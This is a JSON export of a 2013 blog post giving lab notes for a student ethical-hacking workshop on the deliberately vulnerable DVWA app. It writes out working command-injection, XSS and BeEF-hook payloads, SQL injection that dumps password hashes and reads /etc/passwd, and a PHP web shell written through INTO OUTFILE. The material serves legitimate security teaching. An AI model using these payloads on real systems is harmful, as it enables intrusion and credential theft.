{"id":83,"date":"2013-05-12T14:43:21","date_gmt":"2013-05-12T14:43:21","guid":{"rendered":"http:\/\/www.somethingsomethingsecurity.com\/?p=83"},"modified":"2013-05-12T16:14:19","modified_gmt":"2013-05-12T16:14:19","slug":"saskhackers-2","status":"publish","type":"post","link":"https:\/\/www.somethingsomethingsecurity.com\/?p=83","title":{"rendered":"SaskHackers"},"content":{"rendered":"<p><span style=\"line-height: 1.714285714; font-size: 1rem;\">I recently had the honour of introducing some very talented students to world of ethical web hacking. (see saskhackers.com). Thank you to Justin and Austin, the sponsors, and a special thank you to the students that gave up a Saturday to hack.<\/span><\/p>\n<p>Here are the lab notes that we used:<\/p>\n<h4>What You Need<\/h4>\n<ul>\n<li>The Web Security Dojo virtual machine.<\/li>\n<li>Any computer that can run a virtual machine<\/li>\n<li>Curiosity<\/li>\n<\/ul>\n<h4>Copying the Virtual Machine to the Hard Drive<strong><em> (if\u00a0following\u00a0along at home, see NOTE at the end of this post<\/em>)<\/strong><\/h4>\n<p>1. Copy the &#8220;Dojo_2.1&#8221; folder from the virtual machine to a folder on the VMs drive.<\/p>\n<p>2. In VMWare, click on file, open and browse to the folder.<\/p>\n<p>3. Select the file dojo2.vmx and click on open (may have to take ownership)<\/p>\n<p>4. Start the virtual machine (host only networking)<\/p>\n<h4>Starting DVWA<\/h4>\n<p>5. Web Security Dojo is a Ubuntu virtual machine with autologon enabled. Once it has booted, click on Firefox.<\/p>\n<p>6. Select the DVWA link<\/p>\n<p><a href=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image002.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border: 0px;\" title=\"clip_image002\" alt=\"clip_image002\" src=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image002_thumb.jpg\" width=\"244\" height=\"160\" border=\"0\" \/><\/a><\/p>\n<p>7. Type in:<\/p>\n<p>Username\u00a0admin<\/p>\n<p>Password password<\/p>\n<p>8. Check the security settings for DVWA by selecting the DVWA Security button on the left, and set the security to low and click the <b>Submit <\/b>button.<\/p>\n<p><a href=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image003.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border: 0px;\" title=\"clip_image003\" alt=\"clip_image003\" src=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image003_thumb.png\" width=\"244\" height=\"205\" border=\"0\" \/><\/a><\/p>\n<p><b>Features of DVWA<\/b><\/p>\n<p>DVWA, as described by its author is:<\/p>\n<p>\u201cA PHP\/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers\/students to teach\/learn web application security in a class room environment<b>.\u201d<\/b><\/p>\n<h4>Command Execution<\/h4>\n<p>1. Click on the Command Injection link.<\/p>\n<p>2. Enter an address of<\/p>\n<p><b>127.0.0.1<\/b><\/p>\n<p>3. Click the <b>Submit <\/b>button.<\/p>\n<p>4. The screen shows the results of executing the ping 127.0.0.1 command.<br \/>\n<a href=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image004.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border: 0px;\" title=\"clip_image004\" alt=\"clip_image004\" src=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image004_thumb.png\" width=\"244\" height=\"120\" border=\"0\" \/><\/a><\/p>\n<p>5. Enter an address of<\/p>\n<p><b>127.0.0.1;ls<\/b><\/p>\n<p>6. Click the <b>Submit <\/b>button.<\/p>\n<p>7. Other examples will be provided<\/p>\n<p>&nbsp;<\/p>\n<h4>Cross-Site Scripting (XSS)<\/h4>\n<p>1. Click on the XSS Reflected link<\/p>\n<p>2. Type in the value<\/p>\n<p><b>Homer<\/b><\/p>\n<p>3. Click the <b>Submit <\/b>button.<\/p>\n<p><a href=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image005.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border: 0px;\" title=\"clip_image005\" alt=\"clip_image005\" src=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image005_thumb.png\" width=\"244\" height=\"153\" border=\"0\" \/><\/a><\/p>\n<p>4. Type in the value<\/p>\n<p><b>Homer &lt;scriprt&gt; alert(\u2018El Barto was here\u2019);&lt;\/script&gt;<\/b><\/p>\n<p>5. Click the <b>Submit <\/b>button.<\/p>\n<p><a href=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image006.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border: 0px;\" title=\"clip_image006\" alt=\"clip_image006\" src=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image006_thumb.png\" width=\"244\" height=\"179\" border=\"0\" \/><\/a><\/p>\n<p><b>6. <\/b>Other examples will be provided <b><\/b><\/p>\n<p><b>BEEF<\/b><\/p>\n<p>1. Start BeEF by launching it from the menu as shown below.<br \/>\n<a href=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image007.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border: 0px;\" title=\"clip_image007\" alt=\"clip_image007\" src=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image007_thumb.png\" width=\"244\" height=\"167\" border=\"0\" \/><\/a><\/p>\n<p>2. Type in:<\/p>\n<p>Username beef<\/p>\n<p>Password\u00a0beef<\/p>\n<p>3. Go back to DVWA XSS reflected<\/p>\n<p>4. Enter a &#8220;name&#8221; of:<\/p>\n<p><b>Homer &lt;script src=\u201dhttp:\/\/127.0.0.1:3001\/hook.js\u201d?&gt;&lt;\/script&gt;<\/b><\/p>\n<p>5. Click the <b>Submit <\/b>button.<\/p>\n<p>6. Go back to BEEF Control Panel<\/p>\n<p>7. A new target should appear<br \/>\n<a href=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image008.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border: 0px;\" title=\"clip_image008\" alt=\"clip_image008\" src=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image008_thumb.png\" width=\"244\" height=\"44\" border=\"0\" \/><\/a><\/p>\n<p>8. Click on Commands, then Browser, then Domains and select the Create Prompt Dialog. For the Prompt text: enter the value:<br \/>\n<b>Please re-enter your password<\/b><br \/>\n<a href=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image010.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border: 0px;\" title=\"clip_image010\" alt=\"clip_image010\" src=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image010_thumb.jpg\" width=\"244\" height=\"110\" border=\"0\" \/><\/a><\/p>\n<p>9. Click Execute<\/p>\n<p>10. Go back to your DVWA tab.<\/p>\n<p>11. Other examples will be provided<\/p>\n<h4>SQL Injection<\/h4>\n<p>1. Click on the SQL Injection link.<\/p>\n<p>2. Enter a &#8220;User ID&#8221; of:<\/p>\n<p><b>3<\/b><\/p>\n<p>3. Click the <b>Submit <\/b>button.<\/p>\n<p>4. Enter a &#8220;User ID&#8221; of:<\/p>\n<p><b>3&#8242; <\/b><\/p>\n<p>5. Click the <b>Submit <\/b>button.<\/p>\n<p>6. An error screen appears<br \/>\n<a href=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image011.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border: 0px;\" title=\"clip_image011\" alt=\"clip_image011\" src=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image011_thumb.png\" width=\"244\" height=\"30\" border=\"0\" \/><\/a><\/p>\n<p>7. Click the Back button<\/p>\n<p>8. Enter a &#8220;User ID&#8221; of:<\/p>\n<p><b>3&#8242; or 1=1 #<\/b><\/p>\n<p>9. Click the <b>Submit <\/b>button<br \/>\n<a href=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image012.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border: 0px;\" title=\"clip_image012\" alt=\"clip_image012\" src=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image012_thumb.png\" width=\"244\" height=\"233\" border=\"0\" \/><\/a><\/p>\n<p><b>Doing more <\/b><\/p>\n<p>10. Enter the following for &#8220;User ID, one at a time and take note of the results:<\/p>\n<p><b>&#8216; order by 1 #<\/b><b><\/b><\/p>\n<p><b>&#8216; order by 2 #<\/b><b><\/b><\/p>\n<p><b>&#8216; order by 3 #<\/b><\/p>\n<p><b>11. <\/b>Enter the following for \u201cUser ID\u201d and take note of the results:<b><br \/>\n&#8216; union select 1,2 #<br \/>\n&#8216; union all select 1,@@VERSION #<br \/>\n&#8216; union all select user(),database() #<\/b><b><\/b><\/p>\n<p><b>&#8216; <\/b><b>union all select table_name,null from information_schema.tables where table_schema=database() #<\/b><\/p>\n<p><b>&#8216; union all select column_name,null from information_schema.columns where table_schema=database()<\/b><b> #<\/b><\/p>\n<p><b>12. <\/b><b>Let\u2019s get the users and passwords. Enter the following for the \u201cUser ID\u201d<\/b><\/p>\n<p><b>&#8216; union all select user, password from dvwa.users #<br \/>\n<\/b><\/p>\n<p><b>Even more <\/b><\/p>\n<p>13. Enter the following for &#8220;User ID, one at a time and take note of the results:<\/p>\n<p><b>&#8216; union all select load_file(&#8216;\/etc\/passwd&#8217;),null #<\/b><\/p>\n<p>14. Enter the following for &#8220;User ID, one at a time and take note of the results:<\/p>\n<p><b>&#8216;union all select &#8216;test&#8217;,&#8217;123&#8242; INTO OUTFILE &#8216;\/var\/www\/dvwa\/sqlwrite\/elbarto.txt&#8217; #<\/b><\/p>\n<p>15. In a new FireFox tab, browse to the following location:<\/p>\n<p><b>http:\/\/127.0.0.1\/dvwa\/sqlwrite\/elbarto.txt<\/b><\/p>\n<p>16. Enter the following for &#8220;User ID, one at a time and take note of the results:<\/p>\n<p><b>&#8216;union all select &#8221;,'&lt;?php system($_GET[&#8220;cmd&#8221;]); ?&gt;&#8217; INTO OUTFILE &#8216;\/var\/www\/dvwa\/sqlwrite\/myshell.php&#8217; #<\/b><\/p>\n<p>17. In a new FireFox tab, browse to the following location:<\/p>\n<p><b>http:\/\/127.0.0.1\/dvwa\/sqlwrite\/myshell.php?cmd=ls<\/b><\/p>\n<p><b><a href=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image013.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border: 0px;\" title=\"clip_image013\" alt=\"clip_image013\" src=\"http:\/\/www.somethingsomethingsecurity.com\/wp-content\/uploads\/2013\/05\/clip_image013_thumb.png\" width=\"244\" height=\"128\" border=\"0\" \/><\/a><\/b><\/p>\n<p>&nbsp;<\/p>\n<h4>Keep learning<\/h4>\n<p style=\"text-align: center;\"><a href=\"http:\/\/hackthissite.org\">http:\/\/hackthissite.org<\/a><\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/samurai.inguardians.com\/\">http:\/\/samurai.inguardians.com\/<\/a><\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/sourceforge.net\/projects\/mutillidae\/\">http:\/\/sourceforge.net\/projects\/mutillidae\/<\/a>\u00a0(and the excellent tutorials at\u00a0<a href=\"http:\/\/www.youtube.com\/user\/webpwnized\">http:\/\/www.youtube.com\/user\/webpwnized<\/a>)<\/p>\n<p>Web hacking and More<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/vulnhub.com\/\">http:\/\/vulnhub.com\/<\/a><\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.securitytube.net\/\">http:\/\/www.securitytube.net\/<\/a><\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>NOTE: To do these labs at home:<\/p>\n<p>Download the Web Security Dojo from<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/sourceforge.net\/projects\/websecuritydojo\/files\/\">http:\/\/sourceforge.net\/projects\/websecuritydojo\/files\/<\/a>)<\/p>\n<p>Then make the following change to make it even more vulnerable.<\/p>\n<p>Create a folder that MySql can write to.<\/p>\n<p><b>sudo mkdir \/var\/www\/dvwa\/sqlwrite<\/b><\/p>\n<p><b>chown \u2013R mysq:www-datal \/var\/www\/dvwa\/sqlwrite<\/b><\/p>\n<p>Then adjust apparmour to allow MySQL to write files to the folder. To do this, type in<\/p>\n<p><b>sudo nano \/etc\/apparmor.d\/usr.sbin.mysqld <\/b><\/p>\n<p>and enter <b>\/var\/www\/dvwa\/sqlwrite r, and\u00a0 \/var\/www\/dvwa\/sqlwrite\/* rw,<\/b>* near the bottom like so:<\/p>\n<p>&#8230;<br \/>\n\/usr\/sbin\/mysqld {<br \/>\n&#8230;<br \/>\n\/var\/log\/mysql\/ r,<br \/>\n\/var\/log\/mysql\/* rw,<br \/>\n\/var\/run\/mysqld\/mysqld.pid w,<br \/>\n\/var\/run\/mysqld\/mysqld.sock w,<br \/>\n<b>\u00a0 \u00a0 \/var\/www\/dvwa\/sqlwrite r,<br \/>\n\/var\/www\/dvwa\/sqlwrite\/* rw,<\/b><br \/>\n}<\/p>\n<p>Once added, <b>press ctrl-x, enter Y and press enter<\/b> to save and exit the file.<\/p>\n<p>Then reload apparmor by typing<\/p>\n<p><b># sudo \/etc\/init.d\/apparmor reload<\/b><\/p>\n<h4><\/h4>\n","protected":false},"excerpt":{"rendered":"<p>I recently had the honour of introducing some very talented students to world of ethical web hacking. (see saskhackers.com). Thank you to Justin and Austin, the sponsors, and a special thank you to the students that gave up a Saturday to hack. Here are the lab notes that we used: What You Need The Web [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-83","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/posts\/83","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=83"}],"version-history":[{"count":7,"href":"https:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/posts\/83\/revisions"}],"predecessor-version":[{"id":89,"href":"https:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/posts\/83\/revisions\/89"}],"wp:attachment":[{"href":"https:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=83"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=83"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=83"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}